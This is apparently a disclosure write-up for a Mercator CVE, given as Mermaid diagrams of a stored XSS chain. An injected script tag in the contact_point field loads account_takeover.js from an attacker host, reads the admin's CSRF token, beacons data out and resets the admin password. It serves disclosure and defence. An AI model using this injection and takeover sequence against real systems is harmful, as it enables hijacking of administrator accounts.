CVE-2026-27639 Mercator — Account Takeover via Stored XSS

sequenceDiagram
    actor Attacker as Attacker (User role)
    participant Server as Mercator Server
    participant DB as Database
    participant LHOST as Attacker HTTP Server
    actor Admin as Victim (Admin)

    Note over Attacker,Admin: Phase 1 — Attacker Authentication

    Attacker->>Server: POST /login (login, password)
    Server-->>Attacker: 302 → /admin (authenticated session)

    Note over Attacker,Admin: Phase 2 — XSS Injection (SOURCE)

    Attacker->>Server: GET /admin/entities/create
    Server-->>Attacker: Form + CSRF token
    Attacker->>Server: POST /admin/entities
contact_point = script src=LHOST:LPORT/account_takeover.js
    Server->>DB: Entity::create($request->all())
No sanitization on contact_point
    DB-->>Server: Entity stored (longText)
    Server-->>Attacker: 302 — Entity created

    Note over Attacker,Admin: Phase 3 — Admin triggers the payload (SINK)

    Admin->>Server: GET /admin/entities
    Server->>DB: SELECT * FROM entities
    DB-->>Server: Entities (including malicious contact_point)
    Server-->>Admin: HTML with {!! $entity->contact_point !!}
(rendered without escaping)

    Note over Attacker,Admin: Phase 4 — JS execution in admin context

    Admin->>LHOST: GET /account_takeover.js
    LHOST-->>Admin: account_takeover.js (payload)

    rect rgb(255, 230, 230)
        Note over Admin,Server: Automatic execution in admin browser
        Admin->>Admin: Read CSRF token from
meta[name="csrf-token"]
        Admin->>LHOST: Beacon step=1 (csrf=found)
        Admin->>Server: GET /admin/users/{ADMIN_ID}/edit
(credentials: include)
        Server-->>Admin: User form (login, name, email, roles)
        Admin->>LHOST: Beacon step=2b (login, roles)
        Admin->>Server: POST /admin/users/{ADMIN_ID}
_method=PUT, _token, password=NEW_PASSWORD
        Server->>DB: UPDATE users SET password=... WHERE id=ADMIN_ID
        Server-->>Admin: 302 — 200 (password changed)
        Admin->>LHOST: Beacon step=3 (status=200)
    end

    Note over Attacker,Admin: Phase 5 — Account Takeover

    Attacker->>Server: POST /login (admin_login, NEW_PASSWORD)
    Server-->>Attacker: 302 → /admin (logged in as admin)

  

stateDiagram-v2
    direction TB

    state "routes/web.php" as routes
    state "StoreEntityRequest.php" as validation
    state "EntityController.php" as controller
    state "Database — entities table" as db

    note right of routes
        POST /admin/entities
        Allows JS payload injection
        via contact_point field
    end note

    note right of validation
        name - validated
        iconFile - validated
        contact_point - NO RULE
        Malicious input passes through
    end note

    note right of controller
        store calls request all unfiltered
        Stores raw HTML/JS payload
        directly into the database
    end note

    note right of db
        contact_point stored as longText
        Payload persisted without
        any sanitization
    end note

    [*] --> routes : POST /admin/entities
    routes --> validation : StoreEntityRequest
    validation --> controller : unfiltered input
    controller --> db : INSERT contact_point